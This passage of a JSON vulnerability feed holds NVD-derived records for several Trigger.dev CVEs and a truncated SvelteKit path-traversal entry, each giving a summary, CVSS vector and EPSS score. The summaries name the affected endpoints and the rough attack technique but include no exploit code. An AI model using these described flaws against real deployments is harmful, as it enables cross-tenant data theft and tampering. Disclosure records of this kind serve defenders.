4.5.0-rc.3 contains a path traversal vulnerability in the api/v1/packets and api/v2/packets endpoints that allows authenticated tenants to escape their object key prefix through an unsanitized filename splat segment. Attackers holding one valid API key can supply ../ sequences to obtain presigned GET or PUT URLs and read or overwrite other tenants' run payloads and outputs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:32.813Z","updatedAt":"2026-10-21T01:17:32.927Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114083","asOf":"2026-10-21T01:17:32.927Z"},"epss":{"probability":0.00351,"percentile":0.28463,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114083","type":"primary","publishedAt":"2026-10-21T01:17:32.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114082","cveId":"CVE-2026-114082","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via...","summary":"Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via session input initialization. Attackers can use the credential directly against the storage API to append, create, or trim other session and run streams, forging output or permanently deleting records.","detail":"Trigger.dev before 4.6.2 contains an authorization vulnerability that allows public-token holders with session write access to obtain environment-wide S2 stream credentials via session input initialization. Attackers can use the credential directly against the storage API to append, create, or trim other session and run streams, forging output or permanently deleting records.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:32.660Z","updatedAt":"2026-10-22T18:17:27.923Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114082","asOf":"2026-10-22T18:17:27.923Z"},"epss":{"probability":0.00335,"percentile":0.26669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114082","type":"primary","publishedAt":"2026-10-21T01:17:32.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114081","cveId":"CVE-2026-114081","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without...","summary":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.","detail":"Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:32.507Z","updatedAt":"2026-10-21T01:17:32.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114081","asOf":"2026-10-21T01:17:32.620Z"},"epss":{"probability":0.00276,"percentile":0.19856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114081","type":"primary","publishedAt":"2026-10-21T01:17:32.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114078","cveId":"CVE-2026-114078","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete...","summary":"Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete or disable other organizations' schedules. Attackers can send delete or disable actions through their own project's schedule route with a victim schedule friendlyId to destroy other organizations' IMPERATIVE cron schedules.","detail":"Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete or disable other organizations' schedules. Attackers can send delete or disable actions through their own project's schedule route with a victim schedule friendlyId to destroy other organizations' IMPERATIVE cron schedules.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:32.030Z","updatedAt":"2026-10-21T01:17:32.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114078","asOf":"2026-10-21T01:17:32.143Z"},"epss":{"probability":0.003,"percentile":0.22493,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114078&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114078","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114078","type":"primary","publishedAt":"2026-10-21T01:17:32.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114078&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114078, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114077","cveId":"CVE-2026-114077","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without...","summary":"Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without environment, project, or organization scoping. Attackers holding only their own environment API key can POST to the deployment background-workers endpoint with a victim's deployment ID to re-point that in-progress deployment at a worker in the attacker's environment.","detail":"Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in createDeploymentBackgroundWorkerV4 that resolves a WorkerDeployment by friendlyId alone, without environment, project, or organization scoping. Attackers holding only their own environment API key can POST to the deployment background-workers endpoint with a victim's deployment ID to re-point that in-progress deployment at a worker in the attacker's environment.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:31.873Z","updatedAt":"2026-10-22T18:17:27.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114077","asOf":"2026-10-22T18:17:27.787Z"},"epss":{"probability":0.00349,"percentile":0.2831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114077","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114077","type":"primary","publishedAt":"2026-10-21T01:17:31.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114077, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114069","cveId":"CVE-2026-114069","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as...","summary":"Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as TRIGGER_SECRET_KEY for staging, production, and preview environments. Attackers holding a restricted read:envvars key can obtain the root secret and plaintext secrets, then trigger tasks and mint admin public JWTs.","detail":"Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as TRIGGER_SECRET_KEY for staging, production, and preview environments. Attackers holding a restricted read:envvars key can obtain the root secret and plaintext secrets, then trigger tasks and mint admin public JWTs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:30.580Z","updatedAt":"2026-10-21T01:17:30.697Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114069","asOf":"2026-10-21T01:17:30.697Z"},"epss":{"probability":0.00258,"percentile":0.1724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114069","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114069","type":"primary","publishedAt":"2026-10-21T01:17:30.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114068","cveId":"CVE-2026-114068","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other...","summary":"Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other organizations. Attackers holding any secret API key can supply a victim run ID with their own waitpoint, causing that run to block indefinitely on a waitpoint the victim cannot complete, and can inject resume data into it.","detail":"Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other organizations. Attackers holding any secret API key can supply a victim run ID with their own waitpoint, causing that run to block indefinitely on a waitpoint the victim cannot complete, and can inject resume data into it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:30.410Z","updatedAt":"2026-10-21T01:17:30.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114068","asOf":"2026-10-21T01:17:30.530Z"},"epss":{"probability":0.00254,"percentile":0.16862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114068","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114068","type":"primary","publishedAt":"2026-10-21T01:17:30.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114067","cveId":"CVE-2026-114067","aliases":[],"kind":"vulnerability","title":"Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain...","summary":"Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain presigned S3 write URLs. End users can overwrite their own session's durable chat snapshot to forge the agent's conversation history, since the route lacks a secret-key-only check.","detail":"Trigger.dev 4.5.0 before 4.6.2 contains an improper authorization vulnerability in the PUT snapshot-url session endpoint that allows public session token holders to obtain presigned S3 write URLs. End users can overwrite their own session's durable chat snapshot to forge the agent's conversation history, since the route lacks a secret-key-only check.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:30.250Z","updatedAt":"2026-10-22T18:17:27.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114067","asOf":"2026-10-22T18:17:27.520Z"},"epss":{"probability":0.00307,"percentile":0.23228,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114067&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114067","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114067","type":"primary","publishedAt":"2026-10-21T01:17:30.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114067&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114067, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114066","cveId":"CVE-2026-114066","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a...","summary":"Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a foreign parentRunId to batch-creation endpoints. Attackers can send requests to POST /api/v3/batches or POST /api/v2/tasks/batch with resumeParentOnCompletion to suspend, indefinitely block, or inject errors into production or cross-organization runs.","detail":"Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a foreign parentRunId to batch-creation endpoints. Attackers can send requests to POST /api/v3/batches or POST /api/v2/tasks/batch with resumeParentOnCompletion to suspend, indefinitely block, or inject errors into production or cross-organization runs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:30.090Z","updatedAt":"2026-10-21T01:17:30.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114066","asOf":"2026-10-21T01:17:30.203Z"},"epss":{"probability":0.00275,"percentile":0.19655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114066","type":"primary","publishedAt":"2026-10-21T01:17:30.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114065","cveId":"CVE-2026-114065","aliases":[],"kind":"vulnerability","title":"Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST...","summary":"Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST /api/v1/query. Attackers can submit queries with FROM {database.table} expressions, including within subqueries, to skip table allowlist and tenant filters and expose run metadata and payloads.","detail":"Trigger.dev before 4.7.3 contains a tenant filtering bypass vulnerability that allows authenticated users to read other tenants' data by using placeholder table syntax in POST /api/v1/query. Attackers can submit queries with FROM {database.table} expressions, including within subqueries, to skip table allowlist and tenant filters and expose run metadata and payloads.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:29.900Z","updatedAt":"2026-10-21T16:17:29.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114065","asOf":"2026-10-21T16:17:29.850Z"},"epss":{"probability":0.00364,"percentile":0.29956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114065","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114065","type":"primary","publishedAt":"2026-10-21T01:17:29.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114063","cveId":"CVE-2026-114063","aliases":[],"kind":"vulnerability","title":"SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read...","summary":"SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read files outside the prerendered output directory. Attackers who can reach the preview server through network access or a tunnel can send crafted requests to expose source code, configuration, or credentials readable by the server process.","detail":"SvelteKit (@sveltejs/kit) from 2.10.0 before 3.0.0 contains a path traversal vulnerability in the vite preview server on Windows that allows unauthenticated attackers to read files outside the prerendered 